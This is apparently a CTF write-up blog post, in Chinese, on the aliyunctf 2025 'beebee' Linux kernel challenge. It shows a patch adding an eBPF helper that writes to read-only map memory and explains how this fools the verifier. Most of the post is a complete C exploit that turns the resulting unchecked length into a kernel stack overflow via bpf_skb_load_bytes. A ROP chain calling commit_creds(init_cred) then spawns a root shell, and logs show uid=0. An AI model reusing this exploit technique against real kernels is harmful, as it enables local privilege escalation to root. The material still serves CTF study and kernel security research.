[ayoung@blog posts]$ cat ./aliyun 2025 beebee.md

aliyun 2025 beebee

[Last modified: 2025-04-18]

题目

给了config和patch文件

diff --color -ruN origin/include/linux/bpf.h aliyunctf/include/linux/bpf.h
--- origin/include/linux/bpf.h	2025-01-23 10:21:19.000000000 -0600
+++ aliyunctf/include/linux/bpf.h	2025-01-24 03:44:01.494468038 -0600
@@ -3058,6 +3058,7 @@
 extern const struct bpf_func_proto bpf_user_ringbuf_drain_proto;
 extern const struct bpf_func_proto bpf_cgrp_storage_get_proto;
 extern const struct bpf_func_proto bpf_cgrp_storage_delete_proto;
+extern const struct bpf_func_proto bpf_aliyunctf_xor_proto;
 
 const struct bpf_func_proto *tracing_prog_func_proto(
   enum bpf_func_id func_id, const struct bpf_prog *prog);
diff --color -ruN origin/include/uapi/linux/bpf.h aliyunctf/include/uapi/linux/bpf.h
--- origin/include/uapi/linux/bpf.h	2025-01-23 10:21:19.000000000 -0600
+++ aliyunctf/include/uapi/linux/bpf.h	2025-01-24 03:44:11.814636836 -0600
@@ -5881,6 +5881,7 @@
 	FN(user_ringbuf_drain, 209, ##ctx)		\
 	FN(cgrp_storage_get, 210, ##ctx)		\
 	FN(cgrp_storage_delete, 211, ##ctx)		\
+	FN(aliyunctf_xor, 212, ##ctx)		\
 	/* */
 
 /* backwards-compatibility macros for users of __BPF_FUNC_MAPPER that don't
diff --color -ruN origin/kernel/bpf/helpers.c aliyunctf/kernel/bpf/helpers.c
--- origin/kernel/bpf/helpers.c	2025-01-23 10:21:19.000000000 -0600
+++ aliyunctf/kernel/bpf/helpers.c	2025-01-24 03:44:06.683490095 -0600
@@ -1745,6 +1745,28 @@
 	.arg3_type	= ARG_CONST_ALLOC_SIZE_OR_ZERO,
 };
 
+BPF_CALL_3(bpf_aliyunctf_xor, const char *, buf, size_t, buf_len, s64 *, res) {
+	s64 _res = 2025;
+
+	if (buf_len != sizeof(s64))
+		return -EINVAL;
+
+	_res ^= *(s64 *)buf;
+	*res = _res;
+
+	return 0;
+}
+
+const struct bpf_func_proto bpf_aliyunctf_xor_proto = {
+	.func		= bpf_aliyunctf_xor,
+	.gpl_only	= false,
+	.ret_type	= RET_INTEGER,
+	.arg1_type	= ARG_PTR_TO_MEM | MEM_RDONLY,
+	.arg2_type	= ARG_CONST_SIZE,
+	.arg3_type	= ARG_PTR_TO_FIXED_SIZE_MEM | MEM_UNINIT | MEM_ALIGNED | MEM_RDONLY,
+	.arg3_size	= sizeof(s64),
+};
+
 const struct bpf_func_proto bpf_get_current_task_proto __weak;
 const struct bpf_func_proto bpf_get_current_task_btf_proto __weak;
 const struct bpf_func_proto bpf_probe_read_user_proto __weak;
@@ -1801,6 +1823,8 @@
 		return &bpf_strtol_proto;
 	case BPF_FUNC_strtoul:
 		return &bpf_strtoul_proto;
+	case BPF_FUNC_aliyunctf_xor:
+		return &bpf_aliyunctf_xor_proto;
 	default:
 		break;
 	}

patch和反向patch

patch -p1 < ../../bee/aliyunctf.patch
patch -p1 -R < ../../bee/aliyunctf.patch

加了一个ebpf helper函数BPF_FUNC_aliyunctf_xor 将_res和传入的值做异或,并将结果存入传入参数res指向的内存

bpf_aliyunctf_xor_proto规定了传入参数要求

ARG_PTR_TO_MEM 指向合法内存(eBPF栈、skb、map值)的指针 ARG_PTR_TO_FIXED_SIZE_MEM 指向固定大小内存的指针

enum bpf_arg_type {
	...
	ARG_PTR_TO_MEM,		/* pointer to valid memory (stack, packet, map value) */
	...
	/* Pointer to valid memory of size known at compile time. */
	ARG_PTR_TO_FIXED_SIZE_MEM	= MEM_FIXED_SIZE | ARG_PTR_TO_MEM,
}

限制辅助函数的参数:

利用分析

判断map是否只读 两个条件:

static bool bpf_map_is_rdonly(const struct bpf_map *map)
{
	/* A map is considered read-only if the following condition are true:
	 *
	 * 1) BPF program side cannot change any of the map content. The
	 *    BPF_F_RDONLY_PROG flag is throughout the lifetime of a map
	 *    and was set at map creation time.
	 * 2) The map value(s) have been initialized from user space by a
	 *    loader and then "frozen", such that no new map update/delete
	 *    operations from syscall side are possible for the rest of
	 *    the map's lifetime from that point onwards.
	 * 3) Any parallel/pending map update/delete operations from syscall
	 *    side have been completed. Only after that point, it's safe to
	 *    assume that map value(s) are immutable.
	 */
	return (map->map_flags & BPF_F_RDONLY_PROG) &&
	       READ_ONCE(map->frozen) &&
	       !bpf_map_write_active(map);
}

bpf命令BPF_MAP_FREEZE,设置map->frozen为真

static int map_freeze(const union bpf_attr *attr)
{
	...
	WRITE_ONCE(map->frozen, true);
	...
	return err;
}

当先创建一个BPF_F_RDONLY_PROG属性的map,再freeze它,能将该map变为read-only 但这只是作为eBPF程序的一种标记 并没有在物理内存上设置为只读

读写操作会使用check_mem_access()检查内存 读取read-only属性map中值到寄存器中,此处value_regno指向dst_reg,读取操作会直接根据map中的值设置该寄存器 并标记为标量 这之后即使用漏洞函数修改map中存储的值,但verifier不会跟踪到这一点,从而仍然会认为加载的是一个小的固定值

static int check_mem_access(struct bpf_verifier_env *env, int insn_idx, u32 regno,
			    int off, int bpf_size, enum bpf_access_type t,
			    int value_regno, bool strict_alignment_once, bool is_ldsx)
{
	if (reg->type == PTR_TO_MAP_KEY) {
		...
	} else if (reg->type == PTR_TO_MAP_VALUE) {
		...
		if (kptr_field) {
			...
		} else if (t == BPF_READ && value_regno >= 0) {
			struct bpf_map *map = reg->map_ptr;

			/* if map is read-only, track its contents as scalars */
			if (tnum_is_const(reg->var_off) &&
			    bpf_map_is_rdonly(map) &&
			    map->ops->map_direct_value_addr) {
				int map_off = off + reg->var_off.value;
				u64 val = 0;

				err = bpf_map_direct_read(map, map_off, size,
							  &val, is_ldsx);
				if (err)
					return err;

				regs[value_regno].type = SCALAR_VALUE;
				__mark_reg_known(&regs[value_regno], val);
			} else {
				mark_reg_unknown(env, regs, value_regno);
			}
		}
	}
	...
}

最后使用一个套路的利用方法,通过构造verifier未检测出的大值,作为bpf_skb_load_bytes()函数的第三个长度参数,将参数to设置为栈地址,造成栈溢出

设置参数to时,需要将REG10栈地址-0x8,REG10即rbp,不能直接作为参数to

BPF_CALL_4(bpf_skb_load_bytes, const struct sk_buff *, skb, u32, offset,
	   void *, to, u32, len)
{
	void *ptr;

	if (unlikely(offset > INT_MAX))
		goto err_clear;

	ptr = skb_header_pointer(skb, offset, len, to);
	if (unlikely(!ptr))
		goto err_clear;
	if (ptr != to)
		memcpy(to, ptr, len);

	return 0;
err_clear:
	memset(to, 0, len);
	return -EFAULT;
}

另外bpf_skb_load_bytes要求了第四个参数类型为ARG_CONST_SIZE 正好从read-only map中获取存到寄存器时寄存器类型会被设置为SCALE_VALUE 从而满足const要求

?没找到源码具体在哪判断的呢?

static const struct bpf_func_proto bpf_skb_load_bytes_proto = {
	.func		= bpf_skb_load_bytes,
	.gpl_only	= false,
	.ret_type	= RET_INTEGER,
	.arg1_type	= ARG_PTR_TO_CTX,
	.arg2_type	= ARG_ANYTHING,
	.arg3_type	= ARG_PTR_TO_UNINIT_MEM,
	.arg4_type	= ARG_CONST_SIZE,
};

exp

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <string.h>
#include <sys/prctl.h>
#include "bpf_tools.h"

#define BPF_FUNC_aliyunctf_xor 212
#define MAP_SIZE 8

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

/* root checker and shell poper */
void get_root_shell(void)
{
    puts("[*] Checking for root...");

    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

int main(){
  
  size_t value[0x100];
  int array_map_fd = bpf_map_create_rdonly(BPF_MAP_TYPE_ARRAY, 4, MAP_SIZE, 1); 
  if (array_map_fd < 0){
    err_exit("FAILED to create eBPF map!");
  }

  int key = 0;
  value[0] = 1;
  if (bpf_map_update_elem(array_map_fd, &key, &value, 0) < 0) {
    err_exit("FAILED to load value into map!");
  }

  if (bpf_map_freeze(array_map_fd) < 0){
    err_exit("FAILED to freeze map!");
  }

  struct bpf_insn prog[] = {
    // R8 CTX
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),

    // get ptr pointed to read-only map, stored in reg_6
    BPF_READ_ARRAY_MAP_IDX(0, array_map_fd, BPF_REG_3),
    BPF_MOV64_REG(BPF_REG_6, BPF_REG_3),

    // change the value in map
    BPF_ST_MEM(BPF_W, BPF_REG_10, -0x18, 2025^(0x80)),
    BPF_ST_MEM(BPF_W, BPF_REG_10, -0x14, 0),
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, -0x18),
    // set size
    BPF_MOV64_IMM(BPF_REG_2, 8),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_aliyunctf_xor),

    // R1 = CTX
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
    BPF_MOV64_IMM(BPF_REG_2, 0),
    // R3 = stack
    BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -8),
    // load modified value as len
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0),
    BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),
    
    BPF_EXIT_INSN()
  };

  char data_buf[0x100] = {};
  size_t *rop_chain = (size_t*)&data_buf;
  rop_chain+=2;
  *rop_chain++ = 0xffffffff81142d79; // pop rdi; ret;
  *rop_chain++ = 0xffffffff82a52fa0; // &init_cred
  *rop_chain++ = 0xffffffff810c19b0; // commit_cred
  *rop_chain++ = 0xffffffff8108d2f0; // vfork
  
  if (bpf_prog_skb_run(prog, sizeof(prog)/sizeof(prog[0]), data_buf, 0x100, 3, 3) < 0){
    err_exit("FAILED to run the eBPF prog!");
  }

  get_root_shell();
  
  return 0;
}
bash-5.2$ ./exp 
func#0 @0
0: R1=ctx(off=0,imm=0) R10=fp0
0: (bf) r8 = r1                       ; R1=ctx(off=0,imm=0) R8_w=ctx(off=0,imm=0)
1: (18) r9 = 0x0                      ; R9_w=map_ptr(off=0,ks=4,vs=8,imm=0)
3: (bf) r1 = r9                       ; R1_w=map_ptr(off=0,ks=4,vs=8,imm=0) R9_w=map_ptr(off=0,ks=4,vs=8,imm=0)
4: (bf) r2 = r10                      ; R2_w=fp0 R10=fp0
5: (07) r2 += -8                      ; R2_w=fp-8
6: (7a) *(u64 *)(r2 +0) = 0           ; R2_w=fp-8 fp-8_w=00000000
7: (85) call bpf_map_lookup_elem#1    ; R0_w=map_value_or_null(id=1,off=0,ks=4,vs=8,imm=0)
8: (55) if r0 != 0x0 goto pc+1        ; R0_w=P0
9: (95) exit

from 8 to 10: R0=map_value(off=0,ks=4,vs=8,imm=0) R8=ctx(off=0,imm=0) R9=map_ptr(off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=0000mmmm
10: R0=map_value(off=0,ks=4,vs=8,imm=0) R8=ctx(off=0,imm=0) R9=map_ptr(off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=0000mmmm
10: (bf) r3 = r0                      ; R0=map_value(off=0,ks=4,vs=8,imm=0) R3_w=map_value(off=0,ks=4,vs=8,imm=0)
11: (b7) r0 = 0                       ; R0_w=P0
12: (bf) r6 = r3                      ; R3_w=map_value(off=0,ks=4,vs=8,imm=0) R6_w=map_value(off=0,ks=4,vs=8,imm=0)
13: (62) *(u32 *)(r10 -24) = 1897     ; R10=fp0 fp-24=????mmmm
14: (62) *(u32 *)(r10 -20) = 0        ; R10=fp0 fp-24=0000mmmm
15: (bf) r1 = r10                     ; R1_w=fp0 R10=fp0
16: (07) r1 += -24                    ; R1_w=fp-24
17: (b7) r2 = 8                       ; R2_w=P8
18: (85) call bpf_aliyunctf_xor#212   ; R0_w=Pscalar()
19: (bf) r1 = r8                      ; R1_w=ctx(off=0,imm=0) R8=ctx(off=0,imm=0)
20: (b7) r2 = 0                       ; R2_w=P0
21: (bf) r3 = r10                     ; R3_w=fp0 R10=fp0
22: (07) r3 += -8                     ; R3_w=fp-8
23: (79) r4 = *(u64 *)(r6 +0)         ; R4_w=P1 R6_w=map_value(off=0,ks=4,vs=8,imm=0)
24: (85) call bpf_skb_load_bytes#26   ; R0=Pscalar() fp-8=0000mmmm
25: (95) exit
processed 25 insns (limit 1000000) max_states_per_insn 0 total_states 2 peak_states 2 mark_read 1

[*] Checking for root...
[+] Successful to get the root. 
[*] Execve root shell now...
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)